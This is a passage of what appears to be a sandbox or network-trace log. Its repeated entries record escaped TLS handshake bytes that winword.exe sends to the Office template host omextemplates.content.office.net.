  318. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\x1e\\x90k'\\xac\\xdf\\x99\\ \\x01\\x97\\x02\to\\x9b\\xf7\\x80gjc\\xb6\\xc2,\\x1e\\x01\\x92\\xc3\\xc6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  319.  
  320.  
  321. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\xe0\\xfa\\xc3\\xa3\\xc6\\x04|\\xde\\x05\\x07\\xea\\xac\\x81\\x12\\xf76\\x80_\\xce\\xee\\xdd\\xee\\bj\\xc3w\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  322.  
  323.  
  324. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\xe7\\xfav\\xa4d\\xa6\\xe2\\xbc\\xc7\\xd8\\x1b\\xb5\\xa2\\xf4\\x86\\x99\\xe7\\xf5y\\xba\\x0c'\\x83y\\xff\\x1e\\\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  325.  
  326.  
  327. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\x89\\xd1s\\xfa\\xca\\xa5|\\xf2\\xc0\\xc1m\\x88\\!\\x01#\\x89\\x96\\xab\\xb0+\t\\xc9/\\x1c\\xd6h\\xca\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  328.  
  329.  
  330. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\xfa\\xf9\\x13\\xabp\\x81\\xcey\\xa1,\\xb9\\x85\\xaa:\\xe0f\\xccd6\\xa1\\xd1wd\\xa9m\\xec\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  331.  
  332.  
  333. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;ns\"\\x91\\xc2x/5\\xc7\\x11\\x0e\\xf5ft\\xab\\xaa?tzxt\\xa20\\x92\\xb3\\x88j\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  334.  
  335.  
  336. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\x81\\xd7\\x14\\xca\\x81|\\x0f1\\xa4\\xe2\\x1d\\x01g\\xc2\\\\xf1,z&r\\x9a\\xcb\\xfc\\xd4\\xac\\x84\\xd9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  337.  
  338.  
  339. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\x8d&aul4\\xe9\\xb7\\xdf\\xee\\x19\\xa5\"bpi\\xe0rp\\xb50b\\xdb\\xce\\xaf\\x87\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  340.  
  341.  
  342. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\x9b\\x88g\\xdc\\x11j\\x00h\\x91\\xe7\\xc1j\\\\x8a\\xb9\\xca\\xb3g\\xe0yu6\\xc9\\x18\\xbe\\xd19\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  343.  
  344.  
  345. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\x86\\xe3x\\xca\\xd3ms\\xa1\\x01\\x8bc\\x9b\\xf9m\\xc0\\x96\\xb0\\x06b\\xe8\\x01a\\x8e\\x8ad\\xfd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  346.  
  347.  
  348. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\xc2h\\xe2_\\xca/\\xe0\\xfa\\xf6^\\xaf\\x89f\\x9f \\x176.\\xe5p\\x95\\x92\\xf4\\u\\x1aw\\x0b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  349.  
  350.  
  351. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\xc5b&s\\x9b;d\\xe7\\x87\\xc6\\x84\\xdc\\xdb\\xe6s\\xf1\\x03fj\\xe9r\\x0e\\x1a\\xfa\\xaax\\xc6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  352.  
  353.  
  354. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;f\\xd6r\\xa8!ayp\\xa8.\\xb5\\xc5 \\xeds\\xcb \\x81\\xfe\\xd0fm\\x9ah\\\\xe6\\xaf\\xb0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  355.  
  356.  
  357. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\xea\\xf1tw\\x88\\xd4<\\x03\\x1c\\xdd\\xe2\\xbb\\x91\\x86\\xdb>p\\x8d#o\\x07\\xc7q\\x8d(\\xe1\\xc9\\x88\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  358.  
  359.  
  360. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\xc6\\xd2\\x1fuu20\\xaa\\xbb\\x9f\\xb4\\x8c\\x11\\xd6\\xba\\xb8\\xec\\x9b\\xc9$\\xcd\\xd4j\\xb8?\\xb4rn\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  361.  
  362.  
  363. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\xc7r \\xf5\\x1b\\xf0\\xcf\t\\xbe\\xc1\\xe5\\xa4\\xd1y%\\xef\\x9f\\x96\\x970b\\x81\\x02hf~\\xc8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  364.  
  365.  
  366. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\xd9\\xd6e'\\x05\\xee\\xd9\\x8f\\xfa\\xb6\\xbf6\\x13\\x94i\\xe2jl\\xaet\\x9b\\x8e2\\xc0\\xad3.\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  367.  
  368.  
  369. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb8&2\\x02\\x82\\xa8\\xfdy\\xec\\x08a\\xef\\x18l\\xa2t7\\xa5\\xb9\\x1a\\x14tn\\xfb\rda\\xb9n(\\x8a\\xfdo$8\\xcd0r\\x10\\xb3hj\\xb3\\xd3\\x00\\x05?\\xa4\\xee\\xa8\\xe1\\xb6\\xdd\\xa03\\x0b\\x14\\x0e\\xd4jc\\x85\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0000\\xb4\\xc9a\\x8f\\x14\\xdf^\\x92\\x8c\\xdc\\xb9\\x95cs\n\\xd6r\\x97\\xf9\\x04\\x01\\x13p\\x05\\xada\\x00\\xfe\\xa5\\x85mv\\x95\r\\x99\\l\\xa4=ir\\x97\\xeb\\xd5\\xa8\t\\xfd"
  370.  
  371.  
  372. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04g\\xa3@\\x80\\xb8\\xac\\x87p\\xf7\\x8d\\x8d\\x8b\\xcbb~\\xad\\x85\\x04\\xcc\\x9d5\\xbe\\xe1\\xa9\\x8db\\xfave\\x83pc\\xa2\\xc6oy\\xfejv\\x8b3\\xdd`8.\\xf7\\x04*ds\\x06\\xe0\\xf7\\xfd\\xd2\\xc5;\\xf5\\x0bj\\xc8 \\x7f\\x17\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc5*\\xbb\\x11m4-w\\x1b\\x03\\xd9|*z\\x89?\\xca\\xc6\\x19\\xd0\\x00\\xb0\\xde\\xf5\\xc6ba\\x1b\\x846\\x0f\\xae\\xf4\\x81s\\xbcv\\xe7\\xc3\\xa5\\x9e\\xdd\\xe9\\x0c\\xe0\\xd8\\x99\\xa0"
  373.  
  374.  
  375. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb7\\x85\\x02\\x9fdg\\x9f\\x93\\x87'\\xf6\\x827c\\x15d\\xcb\\x14i\\x93\\xd5\\x92\\x80\\xb2\\xeb\\xaf\\x8a\\xdb\\xb5\\x12v\\xbe\\xac\\x90\\xb6_\\x80\\x9c\\x9dv\\xa2\\xd9\\x98\\xe3\\xe5\\xf9\"\\xde>\\x9a'\\xee?+\\xd0\\xa6\\xac`\\xca\\xf5\\xb00\\xe7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0008\\x11\\xf2\\xder\\x08\\xaf\\xcfa\\x01\\xe4\\x05~\\x01\\x82\\xc9\\xec\\xd8.\\xa5\\x13\\x1c\\xf6c\\xffy\\xb6\\x82\\x92g\\xde\"u'\\xbc\\xd4\\xec\\xd1\\x033w\\x16@\\xcd\\x94\\xcev"
  376.  
  377.  
  378. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x045y+\\xa21c\\xfb\\x88<\\xe3\\x95\\xb7\\x04\\xb17\\xd4\\x12\\x9a\\xff\\x18n\\x13\\xba\\xb1\\x91$\\xfc\\xa5\\xc3\\xc6\n\\xdc$a\\xd8\\xc6\\xc7\\xb8\\x84\\x13\\x1d\\xc7\\xdcn.\"&\\xde\\xc1\nfk\\xefx\\xa99\\xe9\ta9\\x18\\xc3\\x7fh\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000o\\x88\\x88l\\xcd\\xbc+\\x0c\\xa0\\xef\\x12\\xfe\\x96\\xafdp@w=\\xf2\\xe6\\xa0#\\x94j\\x8d\\xad\\xe2\\xf8d\\xe5se\\xe6d,.\\xccz3\\x02\\xba\\xcavb\\xc6\\x81p"
  379.  
  380.  
  381. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04j\\xc1\\xdba\\xb0w\\x7f\\xd21\\x84\\x8c\t\\xdc1\\x17\\x85e\\x12>\t\\xcdi\\xc7\\xcfo\\x81\\xff\\xf8s\\x15\\xa5z\\xc5m\\xaavj\\xbad\\x80\\x82y\\xf9\\xee&\\xe7/\\x82\\x16\\xb7\\xda\\xc4\r1\\x9b-\\xde\\x90\\x025\\xc3\\x95\\x12\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000i=bs\\xa6\\xa3#\\x8a5u\\xe3,!\\x02\\xc4\\yt\\xa5s\\xe9\\x83\\x18b$\\xc2\\x16\\x9ep\\x86*\\xa8\\xfc\\x06\\xa9\\xf7\\x1f\\x8f\\x1f\\xb1\\xe7\\xaf\\xe1,\\x90qsk"
  382.  
  383.  
  384. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04'q\\xdf\\x80\\xd9\\xfa&d\\xf8\\x95\\xec\\xfe\\xf44_\\x82o\\x056<\\xc5\\x0ft\\xd5\\xd5v\\x1c\\x91\\xad\\xd45\\xbbbt\\x13.\\x05\\x02\\x14\\xf6\\xa6;1f\\xb4\\x14\\x0f`\\xc8\\xf6\\x0f=\\xbb\\x18<.\\xeb\\xd9a|z\\xbc\\xa7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000p<\\\\xfc\\x0b\\x8b\\xf0\\xfe\"\\x85.,\\xf4\\x83~*c\\xb5,\\xcd\\x00\\\\x85q\\x0f\\xcbi\\xed\\xf7\\x8d\\xf8\\x83\\xcf>5\\x04t\\xafc\\x00n\\xdf\\xc61\\x06;\\xdcg"
  385.  
  386.  
  387. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0c\\x1c/>\\xb7\\xd3w\\xa0\n\\xd8\\xfbby\\x8a9\\x9d\\xf8\\x91q\\x8c\\x14`\\x13\\x15\\x1b\\x99jti\\xa7*\\xd2\\xf8\\xf2s4d\\x14\\xa6&\\xa3\\x9b\\x90j\\xff\\x04\\x8d!\\xff\\xcb\\x84bu\\xfe\\xb5zr\\x9af\\xec!\\x9f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\t\\xba\\xcb\\xefz\\x99\\xc7\\xa1z\\xff\\xeb\\x91\\x16\\xaf,\\xc1\\x8cz\\xb0q\\x1alb$\\x90\\xc6\\xach\\x8c\\x9e\\xa5\\x80'szzf\r\\xe7\\xb2\\x9b\\xecxk\\xf5<u"
  388.  
  389.  
  390. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04#;\\xaf\\xa9\\xe1\\x96\\xf1\\x10\\xf7f2\\xc2\\xbb\\x824/\\x19%\\xc9dx\\xd8\\x08\\x08\\xfa\\x06\\xa2do\\x88\\xcf\\x8f\\x99\\xb4\\x1e\\x17\\xcd\\xb8+\\x1b\\x19\\x0b\\xf2iq\\x00g\\x94h\\x08\\xc6\\x9a\\x8ddx~\\x87v.\r\\xd7\\xa2\\xfd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd1-mh\\xa9\\xea*\\x95#d\\xe6\\x9bf\\xeb+g\\x1e1<\\x97\\xb8&\nd(\\xa0;\\xce\\x883\\x95plyt\\xae\\xf7\\x9dv\\xdar\\xc7d~\\x95\\xea-"
  391.  
  392.  
  393. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x13z\\xea\\xa2\\xe9\\x03\\x17\\xb3\\xb8f$;\\xd4\\xc55?\\xc1fe\\xe8\\x12\\xf4\\x1e\\xde7p\\xaf\\xdf\\x08\\xfe\\x03ro\\x0f\\xb4q\\xc9\\xd4\\xa1i\\xc0\\x85ms\\xee\\xe5t\\x9f\\xfa\\x16\\xd7\\xa0b:\\xbcc?<\\xe9\\xc9\\x05\\x87\ry\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x06\\x8d\\xbe1\\xf6\n\\xf5'\\x18\\xe0*\\x1e:\\xda\\x82y;\\x95h\\xb6\\xa8\\xbe\\x83\\xe7;r\\xb1\\xe7\n?\\xca\\xde\\xbd\\xfc\\xef\\x8c~\\xc8\\xa3\\xf4 \\xa4\\x06ys=\\xed"
  394.  
  395.  
  396. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x08\\xbcd\\x01\\x94(\\x816\r\\xa3@\\xaay_8<_\\x9b\\x9a\\x91j\"\\xe6\\xe6\\x95o\\xdds\\xc4\\xac\\xeee\\xc3#\\x87p\\xec\\xd8\\xfb\\x892\\x8ac\\xf29\\xc8\\x073h\\x84r\\xfa?\\xec8\\x88\\xb5\\x9fe_6\\x07\\xfb\\x83\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb3v\\xfb\\x9b\\xca/1\\x9f\\x86\\x87\\xf5f\\xad\\xa1t\\x16;\\xfc\\xb9\\xc6*\\xf6\t\\xa4\\x01\"\\xa6\\x99\\xcd(i\\xd4\\x173\\xc3\\x8c\\xfa\\x99j,\\x83\\xbcn7\\xb0\\xa1\\xe4\\x89"
  397.  
  398.  
  399. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1e\\xe2\\xba\\xcc\\xa2w\\xe2;\\x99\\x97r\\xec\\xc6\\x8c\\xc6\\x82\\x10a\\xb0\\xee\\x0c\\xbd\\x01w59\\x98\\xde\\xac\\xbe\\x15\\xea\\x18\\x90\\xbb3\\xd7v\\x00p\\xf5\\xa8sm\\xf9\\x93\\x7f\\xcd\\x88pc\\xb3\\x9d\\xde\\xe5\\xb5\\x16\\xf8!\\xb5\\xa2\\xda1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb4d\\xa5\"\\xfc\\xfc\\xd2\\x17\\xf7\\xf7\\xafd\\xa8olh37xr\\xa7\\xe3\\xf0@i\\x12\\x12\\x01\\xe5\\xdd\\xe5i\\x08!\\xc5\\x9d\\x84=\\x1e\\xf9\\xb5~\\xf0ez\\x91\\xca"
  400.  
  401.  
  402. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcd\\xc3e\\xd8k\\xe3\\x1ca\\x96\\x11\\x0c\\xc7\\x02\\x11\\x85\\x94\\x11\\x88\\x8a\\xfc\\xfe!\\xb0s\\xbd\\xe8(\tv\\xed\"\\x11\\xc3\\xfa\\x10\\x7f\\xff\\xf1\\xad3\\x861\\xe5@\\xab$m\\x974\\xee\\x87\\xba\\xb9*\\x0c\\xb1p\\x8e\\x96\\xd6\\x1f\\x8a5\\xba\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe5\\x1bh\\xdc\\xdb\\xf3\\xf0\\xf8\\x9a(\\x0e\\x08\\xc9\\xf3e\\xb4\\x92\\xa4h\\xabjz\\x80\\xc3bb\\xe0\\\\x06kk\\xfa\\x98\\xcb\\xc70\\xbe\\x99\\x8do\\xdau\\xb7\\xb6\\x9d~\\xf1\\xe0"
  403.  
  404.  
  405. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8b\\xda\\xd2\\xc3^\\x18@\\xf5\\xa8\r\\x0f\\xcb*@a\\x0e\\x84n$\\xa8\\xc4\\xc9\\x81or#\\x1a\\x02\\xbe:sj\\x12j\\xbc \\x19\\x03\\x9e\\xa3\\xb3\\x94\\xbd\\x14\\x9c\\x01u\\xa8\\xbb\\x84\\xe5\\xaa\\xabq\\x96z\\xc6\\xaal\\xe1\\xf4\\x96x\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd3\\x10\\xff\\xbbvw\\x18v\nzyt<\\xf5\\xdb\\x1fnjv\\xe8o\\x9c\\xf0\\xde\\x1f\\xf9-,\t9n\\x8azi\\x0e\\xcb\\x86\\x86\r\\xd7q\\xff;f\t\\x13\\x0f"
  406.  
  407.  
  408. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa8g^6\\xbc6\\xb4!\\xaf3\\x0fw\\x05\\xb1\\xcc\\xdf\\x91\\xd5\\xf0\\xb2z\\x85\\xda\\xa5k\\\\xeb\\xbf\\x81\n\\xbcx/zj\\xc4\\xb5\\xf1\\xd2\\xf8\\x85\\x91\\x9c\\x16\\xb41\\x18\\x156\\xa4j32\\xc3\\xf7q<\\xa4\\xc30e\\x8b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000p\\xca\\x13\\xcd\\x885\\x01\\xe9\\xda\\xa3\\xf3\\xb2v\\xab\\xd9\\xb7\\xbd?\\xdd\\x02\\x0b\\\\xc2\"\\x7f\\xeek\\xa4\\x1a\\xf4\\x96%^\\x08:\\x9d \\xf0\\xb9\\x9c\\x9e\\x95\\x99\\x89\\xef\\xde_c"
  409.  
  410.  
  411. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc6\\xbf\\x07\\xa6\\x7f\\x9f\\x97\\xb9\\xf3\\x10\\xd4\\xffsr\\xa0s\\x15w\\xef3a\\xc7\\xd0\\xa2\\x8c\\xd1\\xf59\\xdb\\x82\\x9a2\\x1a\\x9cc*\\xc0\\xcb\\xcc\\x82\\x82q,#\\xc9%\\xcd\\xe8\\xe5x\\x8c\\x03\\x07\\xe7\\xa5\\xae\\f\\j\\xa1)x\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x19\\x19\\xf1:\\x97x\\xb1\\xd1\\xf5cz\\xaen\\xabkh\\x8f\\xbd\\xabb\\xc82\\xbb\\xd9\\xc1e\\xbdk\\xd4\\xa1a\\x91z\\xf3u\\xcdkkx+\\x7fn\\xe3\\xdb\\x16e`\\xc2"
  412.  
  413.  
  414. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04?.bsme\\xf4\\xf1\\xee\\xc9\\xa3\\xae\\xbcj\\xa1jt\\x19\\xa2&\\xbfo\\x1b\\xd3f\\xa4\\xf8\\xbf\\xf7\\x81\\x9eck\\x11\\xa7c>m\\x99\\xf8_\\x02=\\x19+\\xeb^.\\x10\\xa63\\x8d\\x86\\x9e\\xec\\xe8\\xd2\\xf4\\xa4\\x057\\x82\t\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd3?3\\xd2\\x80&\\xc7n~y\\xb91\\xd5\\xda\\xfc2\\xe1\\x08\\xe7!e\\x07ymftdc\\xda\\x89y\\xf2&p\\xc3)o\\xa0\\xdf\\x8c\\xc3p\\xbb\\xa0\\x1b\\x03"
  415.  
  416.  
  417. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x10i\\xcdbj\\x85\\xceuv\\xda\n\\xa9\\x1a\\x8f\\xabgr\\xe2p\\x8e&\\xcb\\xee\\xe4\\xf3\\xfc\\xc9\\x8b\\xb6z\\xa9r\\x8d\\x88ur\\xa7+w\\x00\\xf0\\xc1\\xcd\"\\xa2\\xe2\\xa7\\xe8\\x12\\xeat\\xc9\\x03\\xc7t<9\\xc1\\xab#\\xee\r\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xeal\\x17\\xf6\\xf6\\x0cr\\xb4\\x9e\\xd3\\x02\\x06\\xaasg7i\\xff\\xc23f\\x08e\\xd9\\x04w\\xe9\\xf7k\\x07\\x9a\\xab\\xe3p\\xf2\\x05\\xba`\\xd5zs\\xa6\"\\x9b\\xe8k\\xa6\\xbc"
  418.  
  419.  
